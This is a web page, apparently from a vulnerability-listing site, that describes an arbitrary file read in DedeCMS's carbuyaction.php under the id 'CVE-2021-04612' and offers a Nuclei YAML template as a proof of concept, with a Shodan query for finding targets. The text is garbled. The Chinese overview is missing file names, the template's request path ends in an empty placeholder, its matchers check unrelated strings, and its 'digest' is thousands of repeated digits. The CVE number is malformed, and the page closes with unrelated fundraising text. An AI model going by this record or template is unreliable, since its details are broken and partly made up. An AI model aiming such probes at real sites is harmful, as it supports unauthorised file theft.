DedeCMS carbuyaction.php Arbitrary File Read (CVE-2021-04612) with Nuclei POC

漏洞概述 该漏洞存在于 的 接口中，允许远程攻击者读取服务器上的任意文件内容。 漏洞类型: 文件包含/读取漏洞 严重程度: 高 (High) CVE编号: CVE-2021-04612 CVSS评分: 9.8 (严重) 影响范围 受影响产品: Dedecms 受影响版本: 未明确指定，但根据漏洞描述，所有使用 接口的版本都可能受到影响。 修复方案 官方建议: 更新到最新版本的 Dedecms，并检查 文件中的代码逻辑，确保不会暴露敏感文件内容。 临时措施: 禁用或移除 文件，或者限制其访问权限。 POC代码 ```yaml id: dedecms-carbuyaction-fileinclude info: name: Dedecms's Carbuyaction Fileinclude author: p1ng1n severity: high description: | A vulnerability in Dedecms's 'carbuyaction.php' endpoint allows remote attackers to return the content of local files. https://www.cnblogs.com/sanghyr/p/3505666.html classification: cve: cve-2021-04612 cwe-id: CWE-22,CWE-73 metadata: verified: true max-request: 1 vendor: dedecms product: dedecms shodan-query: http.title:"power by dedecms" && title:"dedecms" tags: dedecms,wfn requests: - method: GET path: - "{{BaseURL}}/plus/carbuyaction.php?gbpostreturncode={{}}" headers: Cookie: dedecms matchers-condition: and matchers: - type: word part: response condition: and words: - "post: response!" - type: body condition: and words: - "type: status" - "status: 200" digest: 808888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888

Goal Reached Thanks to every supporter — we hit 100%!

DedeCMS carbuyaction.php Arbitrary File Read (CVE-2021-04612) with Nuclei POC

More from this source